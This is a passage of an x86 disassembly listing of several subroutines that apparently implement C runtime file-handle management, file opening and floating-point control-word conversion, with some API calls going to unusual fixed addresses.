		push	esi
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------

loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	ebx
		call	near ptr 25D0874h
		nop
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax

loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_48A1DC, eax

loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_48A0A8

loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 25D0874h
		nop
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax

loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2620000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2620000h
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 25D0000h
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax

loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_48B340

loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]

loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------

loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B

loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_48B440
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------

loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_48B440, 20h
		lea	ecx, ds:48B340h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------

loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi

loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_439594, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		nop
		call	near ptr 25C0607h

loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------

loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_48B440
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_439594, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h

loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		nop
		call	near ptr 25C0607h

loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------

loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 25C00BFh
		test	eax, eax
		jnz	short loc_41FEAD
		nop
		call	near ptr 2650C45h
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------

loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax

loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_48A018, eax

loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------

loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_48A2E8, eax
		jz	short loc_41FF11

loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h

loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37

loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_48A014, 16h
		mov	dword_48A018, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------

loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h

loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx

loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------

loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1

loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_48A01C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi

loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi

loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------

loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h

loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F

loc_42004C:				; DATA XREF: ___:00427A84o
					; ___:00427A90o
		and	dword_48A018, 0
		mov	dword_48A014, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------

loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650975h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		nop
		call	near ptr 26309DCh

loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		nop
		call	near ptr 2650C45h
		push	eax
		call	sub_41EF44
		pop	ecx

loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------

loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------

loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8

loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_48A018, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------

loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155

loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161

loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx

loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------

loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx

loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax

loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8

loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4

loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2

loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1

loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h

loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1

loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------

loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h

loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax

loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4

loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8

loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h

loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h

loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2

loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4

loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------

loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx

loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]

loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A

loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]

loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A

loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]

loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

